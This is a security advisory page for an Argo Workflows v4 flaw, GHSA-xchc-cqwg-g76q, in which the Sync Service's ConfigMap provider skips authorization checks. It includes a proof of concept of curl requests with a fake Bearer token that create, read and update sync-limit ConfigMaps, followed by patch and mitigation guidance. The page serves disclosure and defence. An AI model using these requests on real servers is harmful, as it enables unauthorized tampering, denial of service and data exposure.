GHSA-xchc-cqwg-g76q — v4
Fix: argoproj/argo-workflows@09fff05GHSA-xchc-cqwg-g76q is a CWE-862 vulnerability in github.com/argoproj/argo-workflows/v4. A fix is available for github.com/argoproj/argo-workflows/v4 — see the affected versions and patch details below.
Argo has Missing Authorization in its Sync ConfigMap Provider
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-xchc-cqwg-g76q.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
github.com/argoproj/argo-workflows/v4Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.
Details
The ConfigMap-backed provider (server/sync/sync_cm.go) has no auth.CanI checks:
// sync_cm.go — UNPROTECTED
func (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {
// NO auth.CanI check
kubeClient := auth.GetKubeClient(ctx)
configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)
// ... directly creates/updates ConfigMaps
}
server/sync/sync_cm.go— lines 23-155- All four SyncService endpoints:
CreateSyncLimit,GetSyncLimit,UpdateSyncLimit,DeleteSyncLimit
PoC
Prerequisites
- Argo Server running with
--auth-mode=server - Port-forward:
kubectl port-forward -n argo svc/argo-server 2746:2746
Step 1: Create Sync Limit (Fake Token)
curl -sk -X POST "https://localhost:2746/api/v1/sync/default" \
-H "Authorization: Bearer fake-token" \
-H "Content-Type: application/json" \
-d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 5}'
Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}
Verify ConfigMap was created in Kubernetes:
kubectl get configmap test-sync -n default
NAME DATA AGE
test-sync 1 74s
Step 2: Read Sync Limit (Fake Token)
curl -sk "https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync" \
-H "Authorization: Bearer fake-token"
Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":5}
Step 3: Update Sync Limit (Fake Token)
curl -sk -X PUT "https://localhost:2746/api/v1/sync/default/test-key" \
-H "Authorization: Bearer fake-token" \
-H "Content-Type: application/json" \
-d '{"type": 0, "namespace": "default", "cmName": "test-sync", "key": "test-key", "limit": 999}'
Result: {"namespace":"default","cmName":"test-sync","key":"test-key","limit":999}
Verify the ConfigMap was actually modified:
kubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'
999
Impact
An attacker with network access to the Argo Server can:
- Denial of Service — Set sync limits to
0or1, blocking all parallel workflow execution - Workflow Disruption — Modify existing sync limits to break running workflows
- Information Disclosure — Read ConfigMap data that may contain sensitive configuration
- Arbitrary ConfigMap Manipulation — Create/delete ConfigMaps in any namespace accessible to the server's service account
Related CVEs
- CVE-2026-28229 (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing
auth.CanIcheck) - CVE-2024-53862 (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/argoproj/argo-workflows/v4 | ≥ 4.0.0&&< 4.0.5 | 4.0.5go get github.com/argoproj/argo-workflows/v4@v4.0.5 |
Affected Products
argo workflowsargoprojDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/argoproj/argo-workflows/v4, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/argoproj/argo-workflows/v4 to 4.0.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xchc-cqwg-g76q is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Important: A missing authorization check in Argo Workflows' Sync Service allows any authenticated user, including those with fake Bearer tokens, to perform unauthorized create, read, update, and delete operations on Kubernetes ConfigMaps managing synchronization limits. This vulnerability, affecting Red Hat OpenShift…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for GHSA-xchc-cqwg-g76q (CC BY 4.0)
Frequently Asked Questions
Is GHSA-xchc-cqwg-g76q in your dependencies?
Find it across Go, including transitive dependencies.